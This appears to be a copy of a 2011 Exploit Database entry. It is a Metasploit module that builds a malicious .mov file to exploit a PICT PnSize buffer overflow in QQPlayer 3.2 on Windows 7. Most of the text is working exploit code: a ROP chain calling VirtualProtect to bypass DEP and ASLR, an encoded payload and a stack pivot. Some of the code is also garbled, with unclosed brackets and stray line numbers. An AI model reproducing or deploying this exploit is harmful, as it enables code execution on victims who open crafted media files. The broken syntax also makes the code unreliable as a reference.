QQPLAYER Player 3.2 – PICT PnSize Buffer Overflow Windows (ASLR + DEP Bypass) (Metasploit)

Exploit Database
160 阅读

作者： hellok

日期： 2011-11-21
类别：
- local
平台：
- windows_x86
来源：https://www.exploit-db.com/exploits/18137/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

# Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS

# Date: 2011,11,21

# Author: hellok

# Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe

# Version: 32_845(lastest)

# Tested on: WIN7

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',

'Description'=> %q{

This module exploits a vulnerability in QQPLAYER Player 3.2.

When opening a .mov file containing a specially crafted PnSize value, an attacker

may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' =>

[

'hellok',#special thank corelanc0d3r for 'mona'

'References' =>

[

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space'=> 750,

'BadChars' => "",#Memcpy

'EncoderType'=> Msf::Encoder::Type::AlphanumUpper,

'DisableNops'=>'True',

'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",

'EncoderOptions' =>

{

'BufferRegister' => 'ECX',

'Platform' => 'win',

'Targets'=>

[

[ 'Windows 7', { 'Ret' => 0x67664cde } ],

'Privileged' => false,

'DisclosureDate' => '11 21 2011',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The file name.','msf.mov' ]),

], self.class)

end

def exploit

# !mona rop

rop_gadgets =

[

0x00418007, # POP ECX # RETN (QQPlayer.exe)

0x12345678,

0x67664CE4,

0x01020304,

0x10203040,

0x22331122,

0x23456789,

0x00418007, # POP ECX # RETN (QQPlayer.exe)

0x00a9c18c, # <- *&VirtualProtect()

0x0054f100, # MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)

#0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)

0x008cf099, # XCHG EAX,ESI # RETN

0x6497aaad, # POP EBP # RETN (avformat-52.dll)

0x100272bf, # ptr to 'call esp' (from i18nu.dll)

0x005fc00b, # POP EBX # RETN (QQPlayer.exe)

0x00000331, # <- change size to mark as executable if needed (-> ebx)

0x00418007, # POP ECX # RETN (QQPlayer.exe)

0x63d18000, # RW pointer (lpOldProtect) (-> ecx)

0x63d05001, # POP EDI # RETN (avutil-49.dll)

0x63d05002, # ROP NOP (-> edi)

0x008bf00b, # POP EDX # RETN (QQPlayer.exe)

0x00000040, # newProtect (0x40) (-> edx)

0x00468800, # POP EAX # RETN (QQPlayer.exe)

0x90909090, # NOPS (-> eax)

0x008bad5c, # PUSHAD # RETN (QQPlayer.exe)

# rop chain generated by mona.py

# note : this chain may not work out of the box

# you may have to change order or fix some gadgets,

# but it should give you a head start

].pack("V*")

stackpivot = [target.ret].pack('L')

buffer =rand_text_alpha_upper(90)#2

buffer << rop_gadgets

buffer << payload.encoded

junk = rand_text_alpha_upper(2306 - buffer.length)

buffer << junk

buffer << stackpivot

buffer << rand_text_alpha_upper(3000)#3000

path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )

fd = File.open(path, "rb" )

sploit = fd.read(fd.stat.size)

fd.close

sploit << buffer

file_create(sploit)

end